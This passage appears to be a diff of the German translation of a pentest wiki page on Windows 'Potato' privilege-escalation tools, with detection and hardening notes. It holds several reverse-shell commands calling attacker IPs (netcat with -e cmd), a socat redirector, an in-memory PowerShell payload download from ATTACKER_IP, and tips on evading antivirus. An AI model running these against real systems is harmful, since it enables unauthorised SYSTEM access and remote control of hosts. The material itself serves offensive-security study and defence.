- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag.
|
||||
- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running.
|
||||
- PrintSpoofer benötigt, dass der Print Spooler-Dienst läuft und über den lokalen RPC-Endpunkt (spoolss) erreichbar ist. In gehärteten Umgebungen, in denen der Spooler nach PrintNightmare deaktiviert wurde, sind RoguePotato/GodPotato/DCOMPotato/EfsPotato zu bevorzugen.
|
||||
- RoguePotato benötigt einen OXID resolver, der über TCP/135 erreichbar ist. Falls egress blockiert ist, verwende einen redirector/port-forwarder (siehe Beispiel unten). Ältere Builds benötigten das -f-Flag.
|
||||
- EfsPotato/SharpEfsPotato missbrauchen MS-EFSR; wenn eine Pipe blockiert ist, probiere alternative Pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Fehler 0x6d3 während RpcBindingSetAuthInfo deutet typischerweise auf einen unbekannten/nicht unterstützten RPC-Authentifizierungsdienst hin; versuche eine andere Pipe/Transport oder stelle sicher, dass der Zielservice läuft.
|
||||
|
||||
## Quick Demo
|
||||
## Kurze Demo
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
@ -58,8 +58,8 @@ NULL
|
||||
|
||||
```
|
||||
Hinweise:
|
||||
- Du kannst -i verwenden, um einen interaktiven Prozess in der aktuellen Konsole zu starten, oder -c, um einen Einzeiler auszuführen.
|
||||
- Benötigt Spooler service. Wenn dieser deaktiviert ist, schlägt das fehl.
|
||||
- Du kannst -i verwenden, um einen interactive process in der aktuellen Konsole zu starten, oder -c, um einen one-liner auszuführen.
|
||||
- Erfordert den Spooler service. Wenn dieser deaktiviert ist, schlägt das fehl.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Wenn ausgehender Port 135 blockiert ist, pivot the OXID resolver via socat auf deinem redirector:
|
||||
Wenn outbound 135 blockiert ist, pivot den OXID resolver via socat auf deinem redirector:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
Hinweise:
|
||||
- Funktioniert unter Windows 8/8.1–11 und Server 2012–2022, wenn SeImpersonatePrivilege vorhanden ist.
|
||||
- Funktioniert unter Windows 8/8.1–11 und Server 2012–2022, sofern SeImpersonatePrivilege vorhanden ist.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato bietet zwei Varianten, die Service-DCOM-Objekte anvisieren, welche standardmäßig RPC_C_IMP_LEVEL_IMPERSONATE verwenden. Kompiliere oder verwende die bereitgestellten binaries und führe deinen Befehl aus:
|
||||
DCOMPotato bietet zwei Varianten, die auf Service-DCOM-Objekte abzielen, welche standardmäßig auf RPC_C_IMP_LEVEL_IMPERSONATE stehen. Kompiliere oder benutze die bereitgestellten binaries und führe deinen Befehl aus:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
# McpManagementService variant (Server 2022 also)
|
||||
McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (updated GodPotato fork)
|
||||
### SigmaPotato (aktualisierter GodPotato fork)
|
||||
|
||||
SigmaPotato fügt moderne Annehmlichkeiten hinzu, wie in-memory execution via .NET reflection und einen PowerShell reverse shell helper.
|
||||
SigmaPotato bringt moderne Verbesserungen mit, wie in-memory execution via .NET reflection und einen PowerShell reverse shell helper.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -150,13 +150,13 @@ SigmaPotato fügt moderne Annehmlichkeiten hinzu, wie in-memory execution via .N
|
||||
```
|
||||
## Erkennungs- und Härtungshinweise
|
||||
|
||||
- Überwachen Sie Prozesse, die named pipes erstellen und unmittelbar token-duplication APIs aufrufen, gefolgt von CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kann nützliche Telemetrie liefern: Event ID 1 (Prozesserstellung), 17/18 (named pipe erstellt/verbunden) und Kommandozeilen, die Child-Prozesse als SYSTEM starten.
|
||||
- Spooler-Härtung: Das Deaktivieren des Print Spooler-Service auf Servern, auf denen er nicht benötigt wird, verhindert PrintSpoofer‑artige lokale Coercions über spoolss.
|
||||
- Härtung von Service-Accounts: Minimieren Sie die Zuweisung von SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege an benutzerdefinierte Dienste. Ziehen Sie in Betracht, Dienste unter virtuellen Konten mit den minimal erforderlichen Rechten auszuführen und sie, wenn möglich, mit service SID und write-restricted tokens zu isolieren.
|
||||
- Netzwerk-Kontrollen: Das Blockieren von ausgehendem TCP/135 oder das Einschränken von RPC endpoint mapper-Traffic kann RoguePotato verhindern, sofern kein interner Redirector verfügbar ist.
|
||||
- EDR/AV: Alle diese Tools sind weit verbreitet signiert. Vom Source neu kompilieren, Symbole/Strings umbenennen oder Ausführung im Speicher kann die Erkennung reduzieren, wird solide Verhaltensdetektionen jedoch nicht umgehen.
|
||||
- Überwachen Sie Prozesse, die named pipes erstellen und unmittelbar token-duplication APIs aufrufen, gefolgt von CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kann nützliche Telemetrie liefern: Event ID 1 (process creation), 17/18 (named pipe created/connected) und Befehlszeilen, die Kindprozesse als SYSTEM starten.
|
||||
- Spooler-Härtung: Das Deaktivieren des Print Spooler service auf Servern, auf denen er nicht benötigt wird, verhindert PrintSpoofer-ähnliche lokale Ausnutzungen via spoolss.
|
||||
- Härtung von Service-Accounts: Minimieren Sie die Zuweisung von SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege an benutzerdefinierte Dienste. Ziehen Sie in Betracht, Dienste unter virtual accounts mit den geringst erforderlichen Rechten auszuführen und sie, wenn möglich, mit service SID und write-restricted tokens zu isolieren.
|
||||
- Netzwerk-Kontrollen: Das Blockieren ausgehender TCP/135-Verbindungen oder das Einschränken von RPC endpoint mapper traffic kann RoguePotato unterbrechen, sofern kein interner redirector verfügbar ist.
|
||||
- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
|
||||
|
Loading…
x
Reference in New Issue
Block a user